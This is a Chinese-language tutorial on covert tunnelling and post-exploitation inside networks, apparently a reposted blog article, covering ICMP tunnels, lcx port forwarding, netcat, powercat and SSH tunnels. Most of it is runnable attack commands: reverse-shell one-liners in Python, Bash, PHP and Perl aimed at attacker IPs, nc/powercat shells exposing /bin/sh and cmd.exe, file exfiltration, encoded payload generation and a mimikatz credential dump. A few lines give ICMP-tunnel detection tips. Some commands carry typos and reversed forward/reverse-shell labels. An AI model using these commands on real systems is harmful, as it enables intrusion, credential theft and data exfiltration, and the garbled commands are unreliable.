隱藏隧道基礎知識
概述
網路在通信前會在兩臺機器建立TCP連接,然后進行通信,
隧道是繞過埠屏蔽的通信方式,防火墻兩端的資料包通過防火墻所允許的資料包型別或者進行封裝 ,然后穿過防火墻,與對方通信,
隧道列舉:
網路層:IPV6隧道,ICMP隧道,GRE隧道;
傳輸層:TCP隧道,UDP隧道,常規埠轉發,
應用層:SSH隧道,HTTP隧道,HTTS隧道,DNS 隧道
判斷內網連通性:
判斷協議:tcp,http,dns,icmp等;
允許流量出口的埠:80 ,8080,443,53,110,123等
1.ICMP協議:
ping 《ip或者域名》

2.TCP協議
nc工具;
nc -zv 192.168.102.21 135

3.HTTP協議
curl :curl www.baidu.com 80

3.DNS協議
nslookup:(windows)

網路層隧道技術(常用隧道協議:IPV6和ICMP )
Ipv6隧道技術簡介:
是通過IPv4隧道 IPv6資料報文的技術,把IPv6報文整體封裝在IPv4資料報文中,
執行隧道功能的節點的IPv6地址如果兼容IPv地址時,自動隧道是可行的 ,如果給執行隧道功能的節點分配地址采用的時自動隧道方法就不用進行配置;
配置隧道方法要求隧道末端節點 使用其他機制來獲得IPv4地址:DHCP,人工配置;
支持IPv6的隧道工具有socat 6tunnel,n6tunnel等,
ICMP隧道:
一般兩臺機器通信開放埠,但是ICMP不需要,最常見的就是ping命令:如果攻擊上層隧道(HTTP,DNS,正反代理轉發)都不行,那么就可以通過 ping命令訪問遠程機器,建立ICMP隧道,將TCP/UDP封裝進ICMP的ping命令中,從而穿過防火墻(防火墻不會屏蔽ping命令) ,
常用的ICMP工具:icmpsh,pingtunnel ,icmptunnel ,powershell icmp
icmpsh:
安裝python-impacket庫:
sudo apt-get install python-impacket
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
./run.sh
輸入之后在提示框輸入目標IP地址
在目標機輸入:
icmp.exe -t 192.168.1.7 -d 500 -b 30 -s 128
即可上線;

2.Ping Tunnel
防御ICMP隧道攻擊的方法:
- 檢測同一來源的ICMP資料包;
- 注意payload大于64bit的ICMP資料包,
- 尋找請求包payload與相應資料payload不一致的ICMP資料包,
- 檢查ICMP資料包的協議標簽:icmp會在所有的ICMPpayload 前面加“TUNL”標記標識隧道;
傳輸層傳輸技術:
常用技術有TCP,UDP ,常規埠轉發等;
如果防火墻阻止了對指定埠的訪問,獲得目標機的權限可以用IPTABLES打開指定埠
lcx:
內網埠轉發:
把靶機的3389埠轉發到444埠;
靶機:lcx.exe -slave <公網IP> 444 127.0.0.1 3389
將本機的444埠監聽的所有資料轉到555埠;
vps: lcx.exe -listen 444 555
本地埠轉發:
lcx -tran <目標主機的Ip> 3389;
netcat:
cd netcat-0.7.1/
chmod +x configure
./configure
make
nc沒有-e選項解決方案:
原來安裝的默認是openbsd的,而openbsd是沒有-e選項的,需要變更為traditional版才有,
變更方法如下:
輸入
sudo update-alternatives --config nc
此時會顯示netcat的各個版本,輸入2選擇traditional
apt install netcat-traditional
sudo update-alternatives --config nc
2

banner 抓取:
提供當前網路中系統資訊和 運行服務的資訊
nc -nv 127.0.0.1. 80
連接遠程主機:
nc -nvv 187.65.1.207 445
埠掃描:
nc -v 127.0.0.1 80
nc -v -z 127.0.0.1 1-1024

埠監聽:
當訪問該埠時會將資訊輸出到命令列:
nc -l -p 9999

檔案傳輸:
VPS輸入:nc -lp 9999 >2.txt
目標主機輸入:nc -vn 127.0.0.1 9999 < /root/netcat-0.7.1/install-sh -q 1

簡易聊天:
vps:nc -l -p 9999
目標主機: nc -vn 127.0.0.1 999

獲取 shell:
正向shell:客戶端獲取服務器的shell;
反向shell:服務器獲取客戶端的shell;通常用在開啟防御措施的目標機器,例如防火墻過濾,埠轉發;
(1)正向shell:
靶機:nc 108.61.183.100 4444

vps: nc -lvp 4444 -e /bin/sh
nc -lvp 4444 -e c:\windows\system32\cmd.exe

(2)反向shell:
本機或者VPS主機:nc _lvp 9999

目標機: nc -lvp 4444 -e /bin/sh
nc -lvp 4444 -e c:\windows\system32\cmd.exe
在目標主機沒有nc時獲取反向shell,通過常見的編程語言代替nc:
python:
目標機(ubuntu):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.102.77",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻擊機監聽:
nc -lvp 2222

Bash反向shell:
bash -i >& /dev/tcp/ip/port 0>&1
PHP反向shell:
php -r '$sock=fsockopen("192.168.102.67",2222);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
perl反向shell:
perl -e ‘ use Socket ;$i="192.168.102.67";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(conect(s,socketaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
內網代理:
vps(192.168.102.109)→linux→web服務器(192.168.102.67 3333,不出網)
vps:nc -lvp 3333
linux: nc -lvp 3333 -e /bin/sh
web: nc -v 192.168.102.109 3333 -c “nc -v 192.168.102.67 3333”
powercat:
Import-Module .\powercat.ps1
set-executionpolicy remotesigned(權限不夠時輸入)
通過nc正向連接powercat:
客戶機:powercat -l -p 8080 -e cmd.exe -v
kali:netcat 192.168.102.232 8080-vv
chcp 65001
powershell "./mimikatz.exe 'sekurlsa::logonPasswords full' > C:\Users\wxl\Desktop\14.txt 'exit'"

用powercat正向shell連接;mimikzta獲取密碼是dump不出來的;并且會彈powershell框


-l;監聽模式,用于入站連接;
-p指定監聽埠;
-e 啟動行程的名稱;
-v 顯示詳情;
nc反向連接shell:
kali:netcat -l -p 8080-vv
客戶機:powercat -c 192.168.102.232 -p 8080 -e cmd.exe
通過powercat回傳powershell:
win10(102.55):powershell -l -p 9999 -v

win7(102.232):powercat -c 192.168.102.55 -p 9999 -v -ep

powercat 傳檔案:
win10:powercat -l -p 9999 -of 14.txt -v
win7:powercat -c 192.168.102.55 -p 9999 -i c:\users\wxl\desktop\14.txt -v
powercat 生成payload:
win7 :powercat -l -p 9999 -e cmd -v -g >> shell.ps1
將生成的payload上傳到win10,win7中執行命令:
powercat -c 192.168.102.55 -p 9999 -v

反彈shell;
win7 :powercat -l -p 9999 -e cmd -v -g >> shell2.ps1
powercat -c 192.168.102.55 -p 9999 -v
生成經過編碼的payload:
win7 :powercat -c 192.168.102.55 -p 9999 -ep -ge
powercat -l -p 9999 -v
應用層隧道技術:
SSH協議:
- 簡單的ssh命令:
此外,本文只討論SSH在Linux Shell中的用法,如果要在Windows系統中使用SSH,會用到另一種軟體PuTTY,這需要另文介紹,
二、最基本的用法
SSH主要用于遠程登錄,假定你要以用戶名user,登錄遠程主機host,只要一條簡單命令就可以了,
$ ssh user@host
如果本地用戶名與遠程用戶名一致,登錄時可以省略用戶名,
$ ssh host
SSH的默認埠是22,也就是說,你的登錄請求會送進遠程主機的22埠,使用p引數,可以修改這個埠,
$ ssh -p 2222 user@host

創建ssh隧道引數:
-c:壓縮傳輸,提高傳輸速度;
-f: 將ssh傳輸轉入后臺,不占用當前的shell;
-N:建立靜默鏈接,(看不到具體會話);
-g:允許遠程主機連接本地用于轉發的埠;
-l:本地埠轉發;
-r:遠程埠轉發;
-p:指定SSH埠;
-D:socks代理;

1.埠轉發:
以Ubuntu為跳板將win7的3389埠映射到vps的1153埠上,就能通過1153訪問3389了
Cobalt Strike socks4代理:



將payload復制到msf中,此時就是全域代理:

掃描埠:


掃描ms17-010:

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/308717.html
標籤:其他
上一篇:TCP/IP參考模型與標準協議
下一篇:Nginx 詳解
